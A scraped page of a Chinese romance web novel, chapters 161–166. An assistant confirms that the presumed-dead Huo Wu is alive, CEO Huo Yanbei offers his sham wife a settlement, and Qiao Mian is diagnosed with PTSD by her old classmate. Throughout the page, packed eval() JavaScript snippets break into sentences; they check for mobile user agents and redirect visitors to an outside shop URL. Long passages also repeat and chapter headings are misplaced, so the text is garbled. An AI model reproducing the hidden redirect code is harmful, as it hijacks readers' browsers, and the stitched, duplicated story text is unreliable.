0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128745|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “行了。” 陈珂不想跟他废话下去,摆了下手,两个保镖将邹鹏从椅子上架了起来, 岳鹏还以为要被打,吓得缩了一下脖子,“我你们还想干什么啊?法治社会,你们要是敢乱来……” 话音随着保镖露出凶神恶煞的表情时,戛然而止。 陈珂从手机里调出一张乔眠的一张照片,展示给邹鹏看,“仔细看一下,照片里的女人,认识吗?” 邹鹏扶了一下鼻梁上的眼镜框,趴近了,仔细看完后,脱口而出,“我靠,这美女谁啊?长得真好看。” 陈珂唇角一抽,声音严肃了几分,“看仔细,照片里的女人,你不认识吗?” 邹鹏有些不好意思的挠了一下后脑勺,“我这样的听障人士,怎么可能认识这种顶级大美女?看人家这气质身材,是哪个明星吧?” 陈珂皱了皱眉,提示他,“你不觉得她长得像你的同学霍妩吗?” “谁?你说像……我同学秦妩?” 邹鹏直接乐了,“开玩笑呢!秦妩当年那么胖,怎么可能像照片上的美女?你眼睛是不是……” 话音未落,陈珂瞪过去一眼,“再给你一次机会,你要是眼睛不好使的话,你的眼睛就不必留着了。” 邹鹏吓得脸都白了。 这才急忙接过手机,静下心来,仔仔细细将乔眠的眼睛鼻子嘴巴又看了一遍后,沉吟片刻道,“好像眼睛有点像……” “好像?” “不太确定……” 邹鹏摇了摇头后,开始苦逼的求饶,“大哥,我说的是实话啊,那你到底是想听我说像呢,还是不像呢?” 看邹鹏这幅反应,陈珂知道,已经没有再问下去的必要了。 “邹先生,今晚的事情,要是漏出去一个字……” “放心!我嘴巴很严!” 邹鹏就差指天发誓保证了。 陈珂听后,这才满意的点点头,让保镖把人放了。 邹鹏刚走,霍宴北的电话就打了过来。 陈珂这才想起,刚才忘回复老板微信了。 第161章 她一直骗他 陈珂紧忙接起后,汇报道:“霍总,我已经确认过,霍妩小姐的确没有死……” 那端。 霍宴北攥着手机的修长手指猛地颤了一下。 他僵硬的站在原地好半天,嗓音刺痛的问了一句,“确定?” “确定。” 陈珂态度坚定。 “现在去公司。” 霍宴北撂下一句话后,快步离开儿童房,径直准备下楼时,碰到了上楼的宋蔓。 “宴北,这么晚了,你还要出去?” “嗯。” 霍宴北心不在焉的回了一句,抬手避开她挽过来的胳膊,快步下楼了。 宋蔓紧跟着下楼,拦住他的去路,“宴北,你有段日子没回家了,今天好不容易回来了,我们能不能聊一聊?” “下次。” 男人声音淡漠,抬步要走时,宋蔓直接扑进了霍宴北怀里,紧紧抱住了他,“宴北,你现在连跟我好好说句话都不肯了吗?” 说着,眼圈攸地红了。 她仰着小脸,可怜巴巴的望着他,“好歹我还是你名义上的妻子,不是吗?” 霍宴北原本烦乱的心情,在这一刻反而冷静了下来。 他轻轻推开宋蔓,走到落地窗前站着,从口袋摸出一根烟,点然后送到嘴边吸了一口,“你想聊什么?” 宋蔓走过去,靠在他旁边的落地窗前,满眼痛色的望着他,“你请了职业经理人,以CEO的身份全权掌管我家的公司,是什么意思?你不是说,等我学会怎么经营公司后,把公司交到我手里吗?” “学习?” 男人缓缓吐出一口烟圈,“宋沉现在一心搞他的酒吧一条街,你身体不好,最近又忙着排演,况且,经营公司也不是一天两天就能学会的,让职业经理人掌管公司,是很正常的操作,也不影响你日后学习经营公司。” “但是,你现在脱手不再管百荣了,等于就是跟我切割利益关系了,宴北,我不是傻子,等百荣正式步入正轨,你是不是就要彻底跟我撇清关系了?” “宋蔓。” 霍宴北走回茶几前,弯腰将烟碾灭在烟灰缸里,“六年前,我们就约定过的,假订婚,假结婚,本就是一场各取所需的利益交换,百荣公司我替你保住了,公司也越做越大,当然,我也得到了我想要的,我们早就应该解绑了,你现在反悔,纠缠,就是越界了。” “是!当初我们是利益交换才假结婚的,可是,我们毕竟一起生活了六年,做了六年夫妻,你难道对我就没有一点感情?” 说到这里,她搬出女儿,“即便你对我没有感情,那我们的女儿呢?你忍心让她小小年龄缺爸少妈的?” 提及女儿,霍宴北冷硬的心软了一分,“我们分开后,不代表念念就没有了爸爸或是妈妈。” 说到这里,他上楼去了书房。 再下来时,手里多了一份文件。 他把文件递给宋蔓,“我们之间谈不上离婚,但是,你毕竟担了霍太太的名分六年,我不会亏待你的。” 宋蔓接过来,从文件里抽出一沓协议,看完后,有些吃惊。 这份文件里,不仅有不动产转让协议,还有项目投资,基金,还有一部分资产转让协议。 看完最后一份协议,更是震惊的瞪大了眼睛。 竟然还有霍氏百分之五的股份转让协议。 除了不可估量的股份市值,单是不动产和资产,算下来至少上亿。 “这些是给我的?” 宋蔓问。 “嗯。” 霍宴北面色平静,“这些协议早在两年前就拟定好了,想着等以后将公司交给你们姐弟后,再把这些交给你,现在既然已经把话挑明了,这些早些晚些给你都是一样的。” 宋蔓抽出那份股份转让协议,苦涩一笑,“为了跟我解绑,你居然肯把霍氏集团的百分之五股份给我,真是大方啊。” 此时,宋蔓心里应该感动欣喜的。 要知道,霍氏集团的百分之五股份,抵得过半个百荣公司。 这么厚重的补偿,确实下血本了。 可是,他越是大方,宋蔓越是觉得扎心。 这说明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133939|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是真的决意和她这段婚姻走到头了。 攥着手里沉甸甸的巨额资产,宋蔓心里更多的是落寞和不甘。 她在想,如果她能够将霍太太的位置坐实。 眼前这个男人彻彻底底的属于她以后,手里这些资产又算得了什么? 人总归是贪心的。 既要又要。 见她半天没有表态,霍宴北又补了一句,“如果你喜欢这套别墅,不愿搬出去的话,别墅也给你。” 宋蔓攥着文件的手指有些颤抖,语气带着一点嘲讽,“宴北,为了跟我解绑,你真舍得砸钱。” 男人淡声,“我们虽然没有领证,但是相互扶持了六年,我给你这些,是你应得的。” “可我要的是你这个人,不是这些。” 宋蔓情绪有些激动。 霍宴北不为所动,语气仍是淡漠疏离,“我决定的事情不会更改,宋蔓,你知道我什么性子,念在我们之前的情分,我们最好不要闹得太僵。” 说完,转身,沉步离开。 宋蔓望着男人决绝的背影,吼了一句,“你这么着急跟我切割,是因为乔眠那个女人吗?” 霍宴北脚步顿了一下,语气冷了几分,“我的事情,无需告诉你。” 砰一声,男人摔门离去。 宋蔓捧着厚厚一沓协议,坐在沙发上,越想心里越恼。 这时,手机响了。 是小姨蒋芸。 她嗓音有些哑,“小姨,我现在心情很烦,有事明天再……” 话还未说完,蒋芸略急的话传入耳中,蔓蔓,乔眠就是霍妩那个死丫头。” “什……什么?” 宋蔓惊得语无伦次。 …… 总裁办公室。 霍宴北看完陈珂保存下来的一段QQ聊天记录后,嗓音有些发颤,“原来阿妩真的没有死……” 陈珂,“是啊,如果不是亲眼见证霍妩小姐回了她班长的QQ,我也不相信,霍妩小姐居然真的还活着。” 男人猛地砸向桌子,“我就知道,乔眠就是阿妩,她一直在骗我。” 第162章 一点没变 陈珂见老板情绪有些激动,立马劝道,“现在只能证明霍妩小姐还活着,但并没有实证证明给霍妩小姐的班长邹鹏发QQ消息的人,就是乔律师啊” 虽然是乔律师的可能性极大。 末了,又填了一句,“而且,我让邹鹏看过乔律师现在的照片,他的反应很真实,说不认识乔眠,所以,乔律师是不是霍妩小姐,还需要证据证实。” 霍宴北摁了摁有些刺痛的额头,强逼着自己从阿妩没有死的失控情绪中一点点冷静下来。 六年了,他从未相信阿妩**。 但是,寻找她的这些年中,一次次失望和落寞,让他有时候自己都不相信自己的判断了。 甚至觉得自己真的魔怔了。 自打乔眠出现在他生活中以后,他更是频频试探和猜疑她就是阿妩。 现在,事实证据摆在眼前,他的阿妩没有死。 至于QQ上的消息是不是乔眠发出来的,确实有待论证。 虽然,他已经笃定,乔眠就是阿妩。 若不然,他即便找乔眠对峙,以她的性格,不仅不会承认,还会吓走她。 “不管怎样,霍总,马上京大校庆典礼了,如果到时候乔律师一个并不是京大毕业的去参加了,就证明,她就是霍妩小姐无疑了。” 陈珂提醒道。 霍宴北再次看了一遍那张聊天截图内容,“阿妩只说考虑一下,并没有说会不会去参加校庆典礼。” 陈珂道,“霍妩小姐心软又善良,知道自己老师身体不好,又是最后一次座谈演讲,霍妩小姐一定会去的。” “心软善良……” 霍宴北自动带入乔眠平时对他的种种抗拒和冷漠,苦涩的扯了扯嘴角,“她现在早就不是曾经的阿妩了……” 曾经的阿妩满心满眼都是他。 对他绝对服从,乖软。 现在的乔眠,倔强坚毅,很有自己的想法有时候像一只小刺猬,靠的太近,就会扎人。 若不是他用手段逼她留在他身边,她早就逃得远远的了。 “继续查。” 半响之后,男人冷声道。 陈珂,“我这两天会把曾经和霍妩小姐同班的高中同学一个个统统再走访一遍,想必还会有收获。” 霍宴北若有所思的嗯了一声,“沪城那边也要查,尤其是乔眠待过的那家孤儿院,重点查,如果乔眠真的是阿妩,那么她的身份信息就是假的,背后帮她的人,一定跟孤儿院有关系。” 又来一个新任务,陈珂沉重的叹了一口气。 …… 这一夜,注定无眠。 第二天早晨,吃早餐时,乔慕心指着她的脸,“妈妈,你的黑眼圈好重哦。” 乔眠揉了揉干涩的眼睛,温柔笑笑,“妈妈现在很丑吗?” 乔慕心嘴甜,弯着眉眼,糯叽叽的回答,“妈妈最漂亮啦。” 乔眠在额头上亲了一口,“真乖。” …… 此时,华京医院。 VIP套房。 霍宴北看到二手APP的订单信息被取消时,脸色沉了沉。 她……不想卖了? 什么意思? 她想留着那条手帕? 他还想再问清楚,发现消息已经发不过去了。 他被拉黑了…… 霍宴北泛白的薄唇,微微抽搐了一下。 乔眠。 真是个奇怪的女人。 当他再一次点开微信,看到好友申请也被拒绝时,整张脸直接黑了。 意识到自己遭嫌弃了,他当即就要拨通她的手机时,看时间已经九点半了。 她说自己有丈夫。 这个点,打电话过去……不合适。 罢了。 她又不是阿妩。 何必在意。 他收起手机,吩咐陈珂:“把护工费给她结算了。” “是。” 陈珂明白,二爷这意思是,以后不会跟这个小护工有牵扯了。 只是,隔天下午,霍宴北收到一个快递。 打开看到是他的手帕时,晦暗的冷眸闪过一抹异样的兴味。 乔眠。 很奇怪。 也很有意思。 …… 这周五。 乔眠去了圣德医院。 见了她的高中同学,周津南。 两人在学校关系还算融洽的原因是,一个沉默,一个寡言。 他家,和她曾经养父母家都住在职工回迁楼里。 严格来说,两人算是发小。 他是厂办主任的儿子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133940|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从小生活优渥。 小学和初中,上的都是那片最好的学校。 乔眠若不是考上京市的重点高中,也没有机会跟他在一个学校。 高中毕业后,她上了京大。 他考上了海城的医科大学。 那几年,两人很少联系。 只是,他每一年都会戳她的QQ,问她去不去参加高中同学聚会。 每次,她都只回两个字:不去。 大学四年,两人只见过一面。 那次,他去学校找她。 她胖的他都认不出她了。 她请他在京大食堂吃了一碗米线。 他说,以后会经常来学校看她。 只是,后来,不知道为什么,再也没来找过她。 不过,她不在意。 从小,她就没有朋友。 她的世界一直都是孤独的。 和霍宴北在一起,更是一步步堕入地狱。 和周津南再次见面,是在海城。 那时,她刚生完孩子没多久…… 他在海城医院实习。 那次,她挂的是心理科。 后来,就一直保持着联络。 三年前,他家里催婚,所以,先回了京市。 她今天来,没有事先联系他。 按流程挂了他的号。 心理专家科,二号诊室。 “您好,乔女士,周医生诊室还有一位病患,请您稍等一下。” 护士温声提醒。 圣德医院是一家私立医院,对病患一对一服务。 除了贵,没毛病。 “谢谢。” 约模等了半个多小时,病患出来后,乔眠拿着挂号单走进诊室。 周津南看到她时,着实一愣。 “乔安,怎么是你……” 周津南长相斯文清俊,穿着白大褂,干净清爽。 眉眼柔和,很有亲和力。 乔眠跟他相处,从不会有压力。 “周医生,还是叫我乔眠吧。” “抱歉,乔安这个名字,叫习惯了……” 乔眠没作声。 和霍宴北回到霍家以前,她叫乔安。 已经很久,没人叫她这个名字了。 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 第163章 我想和你好好在一起 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年,一直从周津南这里拿抗抑郁症的药。 三年前,他回了京市,她还在海城,他就把药邮寄给她。 “上次打电话时,你还问我需不需要停药,怎么还严重了?” 周津南问话时,眼睛一直在观察乔眠。 虽然她表情和说话时的语气都很平静,但是,搁在桌子上的一双小手,紧紧绞在一起。 指甲都把虎口抠出红印了。 说明她内心很焦虑。 周津南起身走到窗口,将窗纱拉上。 诊室的光线黯淡下来。 他又放了一首舒缓解压的轻音乐。 他没有再问她任何问题。 乔眠心神放松下来后,主动开口,把每次遇到霍宴北就失声的问题说了。 周津南听后,没有立即给出诊断。 开了检查单,让她先去检查。 拿到检查结果,又给她做了一次心理测试后,周津南神色凝重的给出诊断:“乔……眠,你的喉部和声带没有器质性病变,你生理性失声,是因为患了PTSD。” “PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?” 乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142166|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 第164章 让她永远别回来 此时。 霍宴北看到二手APP的订单信息被取消时,脸色沉了沉。 她……不想卖了? 什么意思? 她想留着那条手帕? 他还想再问清楚,发现消息已经发不过去了。 他被拉黑了…… 霍宴北泛白的薄唇,微微抽搐了一下。 乔眠。 真是个奇怪的女人。 当他再一次点开微信,看到好友申请也被拒绝时,整张脸直接黑了。 意识到自己遭嫌弃了,他当即就要拨通她的手机时,看时间已经九点半了。 她说自己有丈夫。 这个点,打电话过去……不合适。 罢了。 她又不是阿妩。 何必在意。 他收起手机,吩咐陈珂:“把护工费给她结算了。” “是。” 陈珂明白,二爷这意思是,以后不会跟这个小护工有牵扯了。 只是,隔天下午,霍宴北收到一个快递。 打开看到是他的手帕时,晦暗的冷眸闪过一抹异样的兴味。 乔眠。 很奇怪。 也很有意思。 …… 这周五。 乔眠去了圣德医院。 见了她的高中同学,周津南。 两人在学校关系还算融洽的原因是,一个沉默,一个寡言。 他家,和她曾经养父母家都住在职工回迁楼里。 严格来说,两人算是发小。 他是厂办主任的儿子。 从小生活优渥。 小学和初中,上的都是那片最好的学校。 乔眠若不是考上京市的重点高中,也没有机会跟他在一个学校。 高中毕业后,她上了京大。 他考上了海城的医科大学。 那几年,两人很少联系。 只是,他每一年都会戳她的QQ,问她去不去参加高中同学聚会。 每次,她都只回两个字:不去。 大学四年,两人只见过一面。 那次,他去学校找她。 她胖的他都认不出她了。 她请他在京大食堂吃了一碗米线。 他说,以后会经常来学校看她。 只是,后来,不知道为什么,再也没来找过她。 不过,她不在意。 从小,她就没有朋友。 她的世界一直都是孤独的。 和霍宴北在一起,更是一步步堕入地狱。 和周津南再次见面,是在海城。 那时,她刚生完孩子没多久…… 他在海城医院实习。 那次,她挂的是心理科。 后来,就一直保持着联络。 三年前,他家里催婚,所以,先回了京市。 她今天来,没有事先联系他。 按流程挂了他的号。 心理专家科,二号诊室。 “您好,乔女士,周医生诊室还有一位病患,请您稍等一下。” 护士温声提醒。 圣德医院是一家私立医院,对病患一对一服务。 除了贵,没毛病。 “谢谢。” 约模等了半个多小时,病患出来后,乔眠拿着挂号单走进诊室。 周津南看到她时,着实一愣。 “乔安,怎么是你……” 周津南长相斯文清俊,穿着白大褂,干净清爽。 眉眼柔和,很有亲和力。 乔眠跟他相处,从不会有压力。 “周医生,还是叫我乔眠吧。” “抱歉,乔安这个名字,叫习惯了……” 乔眠没作声。 和霍宴北回到霍家以前,她叫乔安。 已经很久,没人叫她这个名字了。 周津南起身,倒了一杯水放在她面前:“老同学,三年没见,你一点儿都没变。” 还像高中时那样好看。 只是,高二时,经历了那件事后,她就开始发胖了…… “你也没有变。” 乔眠应了一句。 周津南敛去思绪,问:“你什么时候回京市的?” “搬回京市三个多月了。” 他有些意外,温润的眸底划过一抹幽微的亮色:“怎么也不说一下,我去看看你和孩子们。” 乔眠莞尔,“现在亲自来告诉你了。” 周津南接过她手里的挂号单:“你今天找我,可不是叙旧的吧?是不是给你开的药吃完了?” 乔眠摇头:“周津南,我可能病得更严重了。” 当年,她生完孩子,因为长期焦虑不安,身体也不好,患有重度抑郁症。 这些年,一直从周津南这里拿抗抑郁症 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142167|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药。 三年前,他回了京市,她还在海城,他就把药邮寄给她。 “上次打电话时,你还问我需不需要停药,怎么还严重了?” 周津南问话时,眼睛一直在观察乔眠。 虽然她表情和说话时的语气都很平静,但是,搁在桌子上的一双小手,紧紧绞在一起。 指甲都把虎口抠出红印了。 说明她内心很焦虑。 周津南起身走到窗口,将窗纱拉上。 诊室的光线黯淡下来。 他又放了一首舒缓解压的轻音乐。 他没有再问她任何问题。 乔眠心神放松下来后,主动开口,把每次遇到霍宴北就失声的问题说了。 周津南听后,没有立即给出诊断。 开了检查单,让她先去检查。 拿到检查结果,又给她做了一次心理测试后,周津南神色凝重的给出诊断:“乔……眠,你的喉部和声带没有器质性病变,你生理性失声,是因为患了PTSD。 ”“PTSD是什么……” “就是心理和精神遭受过严重创伤或是经历重大事故后,表现出过度紧张和恐惧的焦虑情绪,俗称,创伤性应激障碍。” “……” 听到这个诊断,乔眠脸色微微泛白:“我之前只是抑郁症,这些年,我的日子平平淡淡,并没有经历过创伤事件。” 周津南轻声道:“六年前,你因为霍宴北遭受情伤,又在一场大火中死里逃生,一个人艰难产子,这些创伤和变故,造成了你长达六年的精神抑郁。” “如今,你再见到他这个人,心理和精神一直处于紧张、恐惧的状态中,病情反而加重了,说明霍宴北就是你患上PTSD的病灶根源。” 周津南解释的很明白。 乔眠也听明白了。 的确。 这些年,她从不敢想起和霍宴北之间曾经发生过的种种。 那些回忆,像是一味**,每回忆一次,就发作一次。 焚心蚀骨的痛。 她回避、压抑了六年。 再次见到霍宴北,好像那些早已渗入骨髓血液里的**,顷刻间就毒发了。 六年前,霍宴北是她戒不掉一味毒。 上瘾。 却也致命。 第165章 那就让她再死一次 乔眠垂着颤动的羽睫,失神地喃喃出声:“所以,我失声,是因为,见到了霍宴北……” 周津南:“是的,霍宴北就是造成你心理创伤的源头。” 垂落下来的双手一点点蜷缩成拳头。 乔眠平静的嗓音里,带着一丝极致隐忍下的颤抖:“能治愈吗?” 周津南看着她鬓发沁着一层薄细的濡湿,把她面前那杯水端起来,放进她手里。 乔眠眼神晃动一下,就像渴了很久的一只小猫,动作有些急促,咕咚咕咚一口气喝完了。 周津南看着她此刻这个样子,不禁想起高中时的她…… 那时候,他不明白,她为什么总是拼命吃东西。 后来,他学了心理学后,才明白,高中那件事后,她就已经留下心理疾病了…… “你现在偶尔还会暴饮暴食吗?” 周津南问。 乔眠蹙眉。 有些抗拒这个问题。 顿了两秒,回道:“很少。” 周津南嗯了一声。 想想也是。 她现在已经瘦成这样了。 他将话题回到她的病情上:“除了在霍宴北面前失声,还有没有在其他情景下,出现过这种症状?” 乔眠摇头:“只有在他面前会失声……” “如果是这样的话……” 周津南转了一下指间的钢笔,轻挑眉宇:“远离病灶,是治愈你最好的良药。” “……” 乔眠哑然。 她的病灶,是霍宴北。 周津南敲击着键盘开药,一直没听到她回应,轻笑着抬眸看了她一眼:“当然,如果你想治愈PTSD的话,目前有心理疗法和……” 乔眠轻声打断,“周医生,不花钱就能治愈的病,挺好的,不是吗?” 说完,她起身,冲周津南弯了弯唇,“不必开药了。” 远离霍宴北,她就能回到以前平静的日子,也不会再变成一个小哑巴。 她得了一种远离霍宴北就能安好的病。 挺好。 如果时间可以倒流,她宁愿早点得这种病——远离霍宴北。 从诊室出来,乔眠走到电梯口等电梯。 周津南走了过来。 此时,他已经褪去了白大褂。 穿着一件polo衬衫领白色毛衣,黑色长裤,外面罩着一件深灰色毛呢大衣。 气质清隽又干净。 “老同学,这么久没见面了,一起吃个饭吧?” 周津南看着她,眉眼温润地笑。 “我……” 乔眠本能想拒绝。 但是,想到在海城,他帮过她。 拒绝,显得太没有人情味了。 她点头:“好。” 周津南:“想吃什么?” “你来定吧。” “西餐怎么样?” “可以。” 周津南看着她一板一眼的样子,有些怜悯。 他认识的乔安,曾经会鲜活的笑。 也有脾气和傲骨的。 可现在,她才二十六岁,却像是饱经沧桑后的一个孤勇者。 她表现出来的从容淡静,是克制隐忍之下筑起的一层保护壳。 …… 花园西餐厅。 周津南和乔眠正在用餐。 顾淮年从二楼楼梯拐角下来。 捕捉到一抹熟悉的女人身影时,顿住了脚步。 他又往下走了几个台阶,仔细一瞧。 眉头不由地扬了扬。 这不是那个小护工吗? 和一个男人有说有笑的。 他转身,准备回去跟那位尊神八卦一下时,霍宴北不知什么时候已经走到了他身旁。 清冷的目光定定的望着不远处坐在靠窗位置的乔眠。 和一个……男人。 她今天化了妆,绾了个低马尾。 米色紧身高领毛衣,包裹着细柔的腰,丰盈的胸。 额角鬓边细柔的胎毛刘海慵懒微卷,侧颜柔美,有一种伦敦玫瑰的风情美。 对面的男人,不知道说了什么,她嫣然浅笑,眼睛弯弯的。 很是恬静温婉。 顾淮年咂嘴:“这小护工看起来不像有钱的样子,居然跟男人来这种高档餐厅,还聊的这么热乎,该不是她傍上的有钱富二代?” 霍宴北盯着女人柔软的笑颜,幽暗深邃的眼眸里,好像感情已被冰封,只剩下冷漠与审视。 “不是。” 她结婚了…… 至于这个男人是…… 他眼眸微凛,抬步走过去 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乔眠瞳孔微震。 裤缝在指间攥出折痕。 她慌忙错开男人的盯视,看了一眼周津南。 周津南心领神会,起身道:“乔眠是我的朋友,霍先生也认识她?” 霍宴北深深地盯着周津南数秒后,再次看向乔眠,“你说呢?” 乔眠张了张嘴,想说话,却说不出来。 她再次失声了。 “听不到,还是听不懂?” 霍宴北说出这句话的同时,戏谑地眼神盯着乔眠,用手语翻译了一遍。 乔眠呼吸一滞。 慌忙起身,看向周津南。 周津南走到她身边,看向霍宴北,“霍先生,抱歉,我和朋友还有事,就先走了。” 说完,绕过霍宴北准备走时,霍宴北将身上的西装外套脱了下来,罩在乔眠身上,淡声道,“遮一下。” 外套还残留着专属于男人的体温,还有那股淡淡的草木香。 熟悉到骨子里的气息,让她心神恍惚。 第166章 二次鉴定 这周五。 乔眠去了圣德医院。 见了她的高中同学,周津南。 两人在学校关系还算融洽的原因是,一个沉默,一个寡言。 他家,和她曾经养父母家都住在职工回迁楼里。 严格来说,两人算是发小。 他是厂办主任的儿子。 从小生活优渥。 小学和初中,上的都是那片最好的学校。 乔眠若不是考上京市的重点高中,也没有机会跟他在一个学校。 高中毕业后,她上了京大。 他考上了海城的医科大学。 那几年,两人很少联系。 只是,他每一年都会戳她的QQ,问她去不去参加高中同学聚会。 每次,她都只回两个字:不去。 大学四年,两人只见过一面。 那次,他去学校找她。 她胖的他都认不出她了。 她请他在京大食堂吃了一碗米线。 他说,以后会经常来学校看她。 只是,后来,不知道为什么,再也没来找过她。 不过,她不在意。 从小,她就没有朋友。 她的世界一直都是孤独的。 和霍宴北在一起,更是一步步堕入地狱。 和周津南再次见面,是在海城。 那时,她刚生完孩子没多久…… 他在海城医院实习。 那次,她挂的是心理科。 后来,就一直保持着联络。 三年前,他家里催婚,所以,先回了京市。 她今天来,没有事先联系他。 按流程挂了他的号。 心理专家科,二号诊室。 “您好,乔女士,周医生诊室还有一位病患,请您稍等一下。” 护士温声提醒。 圣德医院是一家私立医院,对病患一对一服务。 除了贵,没毛病。 “谢谢。” 约模等了半个多小时,病患出来后,乔眠拿着挂号单走进诊室。 